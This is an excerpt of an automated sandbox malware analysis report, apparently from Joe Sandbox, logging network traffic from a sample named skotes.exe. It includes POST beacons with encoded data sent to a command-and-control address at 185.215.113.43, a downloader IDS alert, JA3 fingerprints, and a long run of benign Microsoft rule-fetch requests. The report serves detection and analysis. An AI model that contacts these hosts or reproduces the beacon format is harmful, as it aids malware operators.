Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49872 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00ECBE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

6_2_00ECBE30

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SrGlYPw41PRTGFr&MD=BoDgbOTN HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SrGlYPw41PRTGFr&MD=BoDgbOTN HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
